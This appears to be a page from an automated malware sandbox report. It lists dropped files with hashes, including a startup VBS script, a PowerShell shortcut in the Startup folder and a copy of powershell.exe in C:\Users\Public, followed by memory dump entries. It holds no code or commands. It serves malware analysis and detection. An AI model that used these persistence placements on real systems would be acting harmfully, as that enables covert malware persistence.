6fb3d66ccc739b2a6d93b19af338b3b8cda9c3d431dc9343ccfb7c121fc7f4383aad7581e6e27f9bd482d40b970ab6a61a4365a8003a96b190a9e781b2ae91b3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_izqe1qne.ya4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_671.vbs

Filesize
124B

MD5
5a38f3586af34ec671aa41e1e0935edd

SHA1
e37f9d0e9deeae72700adaf3836ed0e71b6f9f23

SHA256
f964c22c00b2cdcea081d77331896a7d85f62a7c595334ef139bfa7e43d1c875

SHA512
9f922e09540fbbd0cf3d63cc5b9634e5f5b6c09c6d3bc8bfd4bde34787e810331a5efc3fc4db0de5e49663313cfba083b787bde158ecaba61f71b37ef3c5f8d0

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk

Filesize
1005B

MD5
13960722480d496bfc3ca9eabb3d573d

SHA1
d2e796326856c145fd76d714688808595deb7ead

SHA256
d384fdd787de39771589755dba81873a4383989093c5e4a98433273306b692be

SHA512
b8e46aebf647841c3d8a1dc37d5da7a5411c1ab9478b98e7a6f8f89dd293fc6f781e62f7895ceb2efeee38a1661647f8f4f3f7f58c30f643813b4d5f88616d00

Download Submit
C:\Users\Public\powershell.exe

Filesize
445KB

MD5
2e5a8590cf6848968fc23de3fa1e25f1

SHA1
801262e122db6a2e758962896f260b55bbd0136a

SHA256
9785001b0dcf755eddb8af294a373c0b87b2498660f724e76c4d53f9c217c7a3

SHA512
5c5ca5a497f39b07c7599194512a112b05bba8d9777bee1cb45bf610483edbffff5f9132fee3673e46cf58f2c3ba21af7df13c273a837a565323b82a7b50a4d8

Download Submit
memory/764-91-0x00007FFBFA470000-0x00007FFBFA480000-memory.dmp

Filesize
64KB

Download
memory/936-104-0x00007FFBFA470000-0x00007FFBFA480000-memory.dmp

Filesize
64KB

Download
memory/1164-81-0x00007FFBFA470000-0x00007FFBFA480000-memory.dmp

Filesize
64KB

Download
memory/1340-103-0x00007FFBFA470000-0x00007FFBFA480000-memory.dmp

Filesize
64KB

Download
memory/1572-0-0x00007FFC1BDF3000-0x00007FFC1BDF5000-memory.dmp

Filesize
8KB

Download
memory/1572-67-0x00007FFC1BDF0000-0x00007FFC1C8B2000-memory.dmp

Filesize
10.8MB

Download
memory/1572-13-0x00007FFC1BDF0000-0x00007FFC1C8B2000-memory.dmp

Filesize
10.8MB

Download
memory/1572-19-0x00007FFC1BDF0000-0x00007FFC1C8B2000-memory.dmp

Filesize
10.8MB

Download
memory/1572-10-0x00000190F2A40000-0x00000190F2A62000-memory.dmp

Filesize
136KB

Download
memory/1572-11-0x00007FFC1BDF0000-0x00007FFC1C8B2000-memory.dmp

Filesize
10.8MB

Download
memory/1572-17-0x00000190F2B30000-0x00000190F2B66000-memory.dmp

Filesize
216KB

Download
memory/1572-15-0x00000190F2F00000-0x00000190F2F76000-memory.dmp

Filesize
472KB

Download
memory/1572-12-0x00000190F2AE0000-0x00000190F2B24000-memory.dmp

Filesize
272KB

Download
memory/1572-16-0x00000190F2AC0000-0x00000190F2AC8000-memory.dmp

Filesize
32KB

Download
memory/1572-66-0x00007FFC1BDF3000-0x00007FFC1BDF5000-memory.dmp

Filesize
8KB

Download
memory/1572-14-0x00007FFC1BDF0000-0x00007FFC1C8B2000-memory.dmp

Filesize
10.8MB

Download
memory/1572-68-0x00007FFC1BDF0000-0x00007FFC1C8B2000-memory.dmp

Filesize
10.8MB

Download
memory/1696-106-0x00007FFBFA470000-0x00007FFBFA480000-memory.dmp

Filesize
64KB

Download
memory/1760-77-0x00007FFBFA470000-0x00007FFBFA480000-memory.dmp

Filesize
64KB

Download
memory/1768-76-0x00007FFBFA470000-0x00007FFBFA480000-memory.dmp

Filesize
64KB

Download
memory/1904-107-0x00007FFBFA470000-0x00007FFBFA480000-memory.dmp

Filesize
64KB

Download
memory/2136-92-0x00007FFBFA470000-0x00007FFBFA480000-memory.dmp

Filesize
64KB

Download
memory/2176-29-0x00007FFC1BDF0000-0x00007FFC1C8B2000-memory.dmp

Filesize
10.8MB

Download
memory/2176-30-0x00007FFC1BDF0000-0x00007FFC1C8B2000-memory.dmp

Filesize
10.8MB

Download
memory/2176-31-0x00007FFC1BDF0000-0x00007FFC1C8B2000-memory.dmp

Filesize
10.8MB

Download
memory/2176-47-0x00007FFC1BDF0000-0x00007FFC1C8B2000-memory.dmp

Filesize
10.8MB

Download
memory/2300-110-0x00007FFBFA470000-0x00007FFBFA480000-memory.dmp

Filesize
64KB

Download
memory/2344-84-0x00007FFBFA470000-0x00007FFBFA480000-memory.dmp

Filesize
64KB

Download
memory/2680-111-0x00007FFBFA470000-0x00007FFBFA480000-memory.dmp

Filesize
64KB

Download
memory/2836-105-0x00007FFBFA470000-0x00007FFBFA480000-memory.dmp

Filesize
64KB

Download
memory/2880-108-0x00007FFBFA470000-0x00007FFBFA480000-memory.dmp

Filesize
64KB

Download
memory/2932-85-0x00007FFBFA470000-0x00007FFBFA480000-memory.dmp

Filesize
64KB

Download
memory/2940-80-0x00007FFBFA470000-0x00007FFBFA480000-memory.dmp

Filesize
64KB

Download
memory/3112-109-0x00007FFBFA470000-0x00007FFBFA480000-memory.dmp

Filesize
64KB

Download
memory/3416-40-0x00000216EB920000-0x00000216EB921000-memory.dmp

Filesize
4KB

Download
memory/3416-70-0x00000216E9280000-0x00000216E92AA000-memory.dmp

Filesize
168KB

Download
memory/3416-45-0x00000216EB920000-0x00000216EB921000-memory.dmp

Filesize
4KB

Download
memory/3416-46-0x00000216EB920000-0x00000216EB921000-memory.dmp

Filesize
4KB

Download
memory/3416-42-0x00000216EB920000-0x00000216EB921000-memory.dmp

Filesize
4KB

Download
memory/3416-33-0x00000216EB920000-0x00000216EB921000-memory.dmp

Filesize
4KB

Download
memory/3416-44-0x00000216EB920000-0x00000216EB921000-memory.dmp

Filesize
4KB

Download
memory/3416-41-0x00000216EB920000-0x00000216EB921000-memory.dmp

Filesize
4KB

Download
memory/3416-43-0x00000216EB920000-0x00000216EB921000-memory.dmp

Filesize
4KB

Download
memory/3416-74-0x00007FFBFA470000-0x00007FFBFA480000-memory.dmp

Filesize
64KB

Download
memory/3416-35-0x00000216EB920000-0x00000216EB921000-memory.dmp

Filesize
4KB

Download
memory/3416-34-0x00000216EB920000-0x00000216EB921000-memory.dmp

Filesize
4KB

Download
memory/3688-75-0x00007FFBFA470000-0x00007FFBFA480000-memory.dmp

Filesize
64KB

Download
memory/3716-90-0x00007FFBFA470000-0x00007FFBFA480000-memory.dmp

Filesize
64KB

Download
memory/4956-69-0x00000243C64E0000-0x00000243C6516000-memory.dmp

Filesize
216KB

Download
memory/4956-102-0x00000243C6580000-0x00000243C658E000-memory.dmp

Filesize
56KB

Download